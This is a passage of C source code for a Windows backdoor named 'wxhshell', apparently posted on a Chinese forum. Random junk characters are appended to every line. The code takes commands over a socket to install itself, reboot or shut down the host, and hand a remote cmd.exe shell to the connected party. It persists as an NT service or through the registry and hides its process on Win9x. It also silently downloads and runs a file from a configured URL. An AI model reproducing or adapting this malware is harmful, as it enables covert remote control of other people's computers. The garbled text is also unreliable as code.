    switch(cmd[0]) { o+'6`g'8  
  V,njO{Q  
  // 帮助 ]=BB#  
  case '?': { ]a`$LW}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?@86P|19  
    break; @ 6vIap|  
  } Z T%5T}i  
  // 安装 z03K=aZ  
  case 'i': { "y}5;9#,  
    if(Install()) |6- nbj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AK4t\D)K1  
    else !a\^Sk /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a7opCmL  
    break; %N._w!N<5n  
    }  ob]w;"  
  // 卸载 Pm7}"D'/  
  case 'r': { RA 6w}:sq7  
    if(Uninstall()) jP.dDYc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 qA'  
    else !N^@4*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : A;RH  
    break; Vurq t_nb  
    } @6.vKCSE  
  // 显示 wxhshell 所在路径 DEgXQ[  
  case 'p': { $??I/6  
    char svExeFile[MAX_PATH]; omx=  
    strcpy(svExeFile,"\n\r"); [-w%/D%@  
      strcat(svExeFile,ExeFile); o8MZiU1Xf  
        send(wsh,svExeFile,strlen(svExeFile),0); %BODkc Zh  
    break; H5an%kU|j  
    } {!`6zBsP  
  // 重启 er\|i. Y  
  case 'b': { -Y8B~@]P?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zH r_!~  
    if(Boot(REBOOT)) <_+X 88  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~MI<I+l[  
    else { |s_GlJV.  
    closesocket(wsh); Z_NCD`i;  
    ExitThread(0); kx^/*~ex  
    } !,PWb3S  
    break; eO1lnO|  
    } rm_Nn8p,  
  // 关机 vDvFL<`vmD  
  case 'd': { ,zc(t<|-y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V]^$S"Tv  
    if(Boot(SHUTDOWN)) EQ_aa@M7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2mU.7!g)  
    else { \)e'`29;  
    closesocket(wsh); w-jVC^C]  
    ExitThread(0); Bw.i}3UT6  
    } CC`JZ.SO  
    break; I1J-)R+  
    } v[<T]1=LRC  
  // 获取shell a'T;x`b8U,  
  case 's': { Y:`&=wjP~  
    CmdShell(wsh); rl.}%Ny  
    closesocket(wsh); 'ga/  
    ExitThread(0); 05R@7[GWq  
    break; EM_d8o)`B  
  } E-FUlOG&  
  // 退出 &5;"#:ORcK  
  case 'x': { A%vbhD2;W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /{2,zW  
    CloseIt(wsh); 76SXJ9@x  
    break; F"kAkX>3}  
    } 8EYkQ  
  // 离开 Ul# r  
  case 'q': { "  1tH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <ZW-QN4  
    closesocket(wsh); Fzcwy V   
    WSACleanup(); ?A0)L27UE&  
    exit(1); fV~~J2IK  
    break; ykJ>*z  
        } X-/]IH DN  
  } (?];VG  
  } BLFdHB.$T  
tX[WH\(xI  
  // 提示信息 b MBLXk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MfkZ  
} #;S*V"  
  } 4z)]@:`}z  
afk>+4q  
  return; < Z$J<]I  
} }2oc#0  
(% 9$!v{3  
// shell模块句柄 T{'RV0%   
int CmdShell(SOCKET sock) kT=8e;K  
{ !m$jk2<  
STARTUPINFO si; @|!z9Y*  
ZeroMemory(&si,sizeof(si)); 31)&vf[[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QL*IiFR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R-Sym8c  
PROCESS_INFORMATION ProcessInfo; =M-p/uB]  
char cmdline[]="cmd"; X?Au/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /RF7j;  
  return 0; 7z-[f'EIUI  
} w =KPT''!  
QW"! (`K  
// 自身启动模式 "#48% -'x  
int StartFromService(void) Hv, LS ;W  
{ ] R*A  
typedef struct j.YA 2mr  
{ 0$njMnB2l  
  DWORD ExitStatus;  _4f;<FL  
  DWORD PebBaseAddress; }\LQ3y"[  
  DWORD AffinityMask; Debv4Gr;^  
  DWORD BasePriority; snJ129}A  
  ULONG UniqueProcessId; 3a|\dav%  
  ULONG InheritedFromUniqueProcessId; 4I7>f]=)  
}   PROCESS_BASIC_INFORMATION; nP$9CA  
54/=G(F   
PROCNTQSIP NtQueryInformationProcess; w>YDNOk  
Cyp'?N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o(HbGHIP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )X!,3Ca{43  
A=4OWV?  
  HANDLE             hProcess; q*KAk{kR(v  
  PROCESS_BASIC_INFORMATION pbi; 0aAoV0fMDz  
:pUtSs7p}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xeaj xcop#  
  if(NULL == hInst ) return 0; w(rE`IgW  
u4j5w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }M+7 T\ J!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y0>y8U V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 626r^c=  
.u:GjL'$  
  if (!NtQueryInformationProcess) return 0; 7 3m1  
v:U-6W_)|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8_8l.!~  
  if(!hProcess) return 0; oQ#8nu{k  
L$-T,Kze  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v1[29t<I!  
<q SC#[xu  
  CloseHandle(hProcess); nlYNN/@"  
kFB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,)XLq8  
if(hProcess==NULL) return 0; weQ_*<5%  
s CRdtP  
HMODULE hMod; 9UkBwS`  
char procName[255]; 99S ^f:t  
unsigned long cbNeeded; !?XC1xe~R  
: 'c&,oLY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TO_e^A#  
liZxBs :%i  
  CloseHandle(hProcess); s>en  
( =$ x.1  
if(strstr(procName,"services")) return 1; // 以服务启动 Q@niNDaW2  
OPi0~s  
  return 0; // 注册表启动 gSgr6TH0  
} ~zgGa:uU  
<[phnU^ 8  
// 主模块 <[v[ci  
int StartWxhshell(LPSTR lpCmdLine) d1*<Ll9K  
{ C}X\|J  
  SOCKET wsl; XuTD\g3)  
BOOL val=TRUE; N;d] 14|  
  int port=0; OVJ0}5P*  
  struct sockaddr_in door; mR~&)QBP.  
.6> w'F{>  
  if(wscfg.ws_autoins) Install(); GVz6-T~\>  
~[ F`"  
port=atoi(lpCmdLine); >usL*b0%  
[RL9>n8f  
if(port<=0) port=wscfg.ws_port; G B^Br6  
>eaaaq9B-  
  WSADATA data; 5N]"~w*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; us.~G  
RNL9>7xV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k!^{eOM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6LZCgdS{  
  door.sin_family = AF_INET; "&] -2(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jo7\`#(Q  
  door.sin_port = htons(port); yVfC-Z   
u NyVf7u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  k'YTpO  
closesocket(wsl); YR70BOxK  
return 1; KoRV %@I  
} 7^Uv7< pw  
V+\Wb[zDJ  
  if(listen(wsl,2) == INVALID_SOCKET) { JT?h1v<H]  
closesocket(wsl); QP x^_jA  
return 1; 8|^7ai[am  
} xo)P?-  
  Wxhshell(wsl); cNrg#Asen&  
  WSACleanup(); <q836]aa A  
W)/#0*7  
return 0; 3q.q YX  
} \f0 A-  
} {:s f7  
#mT"gs  
// 以NT服务方式启动 Ef\ -VKh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  z} <^jgJ  
{ / FII07V  
DWORD   status = 0; gUlo]!$  
  DWORD   specificError = 0xfffffff; SM '|+ d  
t1".0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m 5.Zu.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hgmCRC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @~e5<:|5#  
  serviceStatus.dwWin32ExitCode     = 0; .`lCWeHN  
  serviceStatus.dwServiceSpecificExitCode = 0; "Q0@/bYq  
  serviceStatus.dwCheckPoint       = 0; #WuBL_nZ~  
  serviceStatus.dwWaitHint       = 0; txpgO1  
/z!%d%"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]]mJ']l  
  if (hServiceStatusHandle==0) return; w xH7?tsf  
,}PgOJZ  
status = GetLastError(); XSDpRo  
  if (status!=NO_ERROR) .>S!ji  
{ _w{Qtj~s|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $ `c:&  
    serviceStatus.dwCheckPoint       = 0; <} .$l  
    serviceStatus.dwWaitHint       = 0; eDMO]5}Ht  
    serviceStatus.dwWin32ExitCode     = status; 9p/Bh$vJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; zda 3 ,U2o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y `UaB3q  
    return; 7r!x1  
  } ^ y::jK  
8Wx=p#_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E.TAbD&5(  
  serviceStatus.dwCheckPoint       = 0; ?}0,o.  
  serviceStatus.dwWaitHint       = 0; Ie_wHcM<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uYN`:b8  
} o4X{L`m  
2 nCA<&  
// 处理NT服务事件,比如:启动、停止 JI}'dU>*U:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nc`L;CP  
{ %Zi} MPx  
switch(fdwControl) M-71 1|eGI  
{ tA;}h7/Lc~  
case SERVICE_CONTROL_STOP: [~HN<>L@C  
  serviceStatus.dwWin32ExitCode = 0;  @5FQX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KPF1cJ2N  
  serviceStatus.dwCheckPoint   = 0; ! mHO$bQ"  
  serviceStatus.dwWaitHint     = 0; ]DcFySyv  
  { ";F'~}bDA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ueudRb  
  } d-qUtgqV86  
  return; uFE)17E  
case SERVICE_CONTROL_PAUSE: U6K|fY N`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1#x0q:6  
  break; XSRsGTCC=  
case SERVICE_CONTROL_CONTINUE: }7Uoh(d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; { FkF  
  break; .nJz G  
case SERVICE_CONTROL_INTERROGATE: s<Ziegmw|g  
  break; -f .,tM=  
}; jp,4h4C^)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P0@,fd<  
} zPO9!?7|  
%EH)&k  
// 标准应用程序主函数 & 21%zPm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gdc<ZYcM  
{ l#o ~W`  
*@5@,=d  
// 获取操作系统版本 a(nlTMfu  
OsIsNt=GetOsVer(); IxU/?Zm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sRs>"zAg  
M%HU4pTW#o  
  // 从命令行安装 la!~\wpa  
  if(strpbrk(lpCmdLine,"iI")) Install(); =cI(d ,  
0J9x9j`&j  
  // 下载执行文件 MtdG>TzUn  
if(wscfg.ws_downexe) { 54 T`OE =  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [,Gg^*umS  
  WinExec(wscfg.ws_filenam,SW_HIDE); k[xSbs'D  
} )nkY_' BV  
%b$>qW\*&  
if(!OsIsNt) { us-L]S+lm  
// 如果时win9x,隐藏进程并且设置为注册表启动 oJ^P(]dw  
HideProc(); 9[4xFE?|  
StartWxhshell(lpCmdLine); H_a[)DT  
} >MZ/|`[M  
else ytImB`'\  
  if(StartFromService()) ?,z}%p  
  // 以服务方式启动 BPrt'Nc  
  StartServiceCtrlDispatcher(DispatchTable); #a#F,ZT  
else @ArSC  
  // 普通方式启动 *dQSw)R  
  StartWxhshell(lpCmdLine); Gc?a+T  
/~1+i'7V.,  
return 0; %{W6PrY{  
}
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只看该作者 1 发表于: 2006-10-10
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